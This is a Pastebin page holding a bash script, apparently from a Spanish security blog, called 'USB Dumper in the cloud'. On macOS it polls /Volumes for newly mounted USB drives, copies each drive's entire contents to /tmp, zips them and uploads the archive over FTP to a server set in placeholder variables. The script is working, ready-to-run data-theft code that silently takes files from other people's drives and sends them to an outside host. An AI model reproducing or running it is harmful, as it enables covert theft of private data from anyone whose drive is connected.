Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #A continuación mostramos el código de la nueva versión de USB Dumper in the cloud, al cual
- #es necesario editarle las variables SERVER, USERNAME y PASSWORD localizados en las primeras
- #líneas del script.
- #!/bin/bash
- #www.seguridadapple.com
- SERVER="host"
- USERNAME="user"
- PASSWORD="password"
- function saveDefaultDevices()
- {
- rm -rf /tmp/usblist /tmp/Volumes
- mkdir /tmp/Volumes
- for vol in /Volumes/*
- do
- echo $vol >> /tmp/usblist
- echo "Detecting $vol as default"
- done
- }
- function checkDevices()
- {
- for vol in /Volumes/*
- do
- aux=`cat /tmp/usblist |grep -i "$vol"`
- aux=`echo $?`
- if [ $aux -eq 1 ]; then
- nombre=`echo $vol | awk -F "/" '{print $3}'`
- echo $vol >> /tmp/usblist
- mkdir "/tmp$vol"?
- echo "[+] Dumping $vol in /tmp$vol"
- sleep 1
- cp -R "$vol" "/tmp/Volumes/"
- auxVol="/tmp/$nombre.zip"
- rm -rf $auxVol
- echo "Compressing files [ /tmp$vol in $auxVol ]"
- zip -r "$auxVol" "/tmp$vol" > /dev/null
- echo "Uploading to FTP"
- ftp -n -i $SERVER <<EOF
- user $USERNAME $PASSWORD
- binary
- put "$auxVol" "$nombre"
- quit
- EOF
- echo "[+] Done"
- fi
- done
- }
- saveDefaultDevices
- while [ 1 ]; do
- checkDevices
- sleep 1
- done
Advertisement
Add Comment
Please, Sign In to add comment